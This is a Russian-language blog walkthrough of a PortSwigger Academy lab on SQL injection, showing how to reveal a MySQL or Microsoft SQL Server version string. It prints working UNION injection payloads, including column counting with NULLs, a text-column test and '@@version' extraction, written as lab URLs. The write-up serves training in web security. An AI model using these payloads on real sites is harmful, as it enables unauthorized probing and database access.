Найти в Дзене
ЗА ИБАС

[PortSwigger, 8/16 SQLi] Атака с внедрением SQL-инъекции, позволяющая узнать тип и версию базы данных на MySQL и Microsoft

Продолжаем неблагодарную работу по обзору лабораторных работ с PortSwiger Academy - SQL injection attack, querying the database type and version on MySQL and Microsoft Немного душной теории Разные базы данных предоставляют разные способы запроса своей версии. Вам часто приходится пробовать разные запросы, чтобы найти работающий, позволяющий определить как тип, так и версию программного обеспечения базы данных.
Запросы для определения версии базы данных для некоторых популярных типов баз данных следующие: Например, вы можете использовать атаку UNION со следующими входными данными: ' UNION SELECT @@version-- Это может вернуть вывод, подобный следующему, подтверждающий, что база данных является Microsoft SQL Server, и используемую версию: Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor) Постановка задачи Эта лабораторная
Оглавление

Продолжаем неблагодарную работу по обзору лабораторных работ с PortSwiger Academy - SQL injection attack, querying the database type and version on MySQL and Microsoft

Немного душной теории

Разные базы данных предоставляют разные способы запроса своей версии. Вам часто приходится пробовать разные запросы, чтобы найти работающий, позволяющий определить как тип, так и версию программного обеспечения базы данных.

Запросы для определения версии базы данных для некоторых популярных типов баз данных следующие:

-2

Например, вы можете использовать атаку UNION со следующими входными данными:

' UNION SELECT @@version--

Это может вернуть вывод, подобный следующему, подтверждающий, что база данных является Microsoft SQL Server, и используемую версию:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Постановка задачи

Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Вы можете использовать атаку UNION для получения результатов введенного запроса.

Чтобы решить лабораторную работу, отобразите строку версии базы данных.

Решение лабораторной работы

Заходим на тестовый стенд и видим надпись

Make the database retrieve the string: '8.0.31-0ubuntu0.20.04.2'

-3

Из читлиста чеклиста узнаем, что для комментирования применяются не -- как в Oracle, а # что эквивалентно %23 в нужной для веба кодировке. Узнаем нужное количество колонок

https://0a0400f50302b591c4ee1953008f000a.web-security-academy.net/filter?category=Gifts' UNION SELECT NULL, NULL%23
# это тоже самое что %23 так что не пугайтесь. Так надо
# это тоже самое что %23 так что не пугайтесь. Так надо

Далее поймем, сколько из этих колонок поддерживают текстовый формат отображения

https://0a0400f50302b591c4ee1953008f000a.web-security-academy.net/filter?category=Gifts' UNION SELECT 'a', 'a'%23
-5

И последним шагом узнаем версию базы данных согласно читлисту чеклисту, которая даже есть в душной теории, которую вы пропустили

https://0a0400f50302b591c4ee1953008f000a.web-security-academy.net/filter?category=' UNION SELECT @@version, 'a'%23

-6

И получаем торжественное поздравление об успешно пройденной лабораторной работе!

-7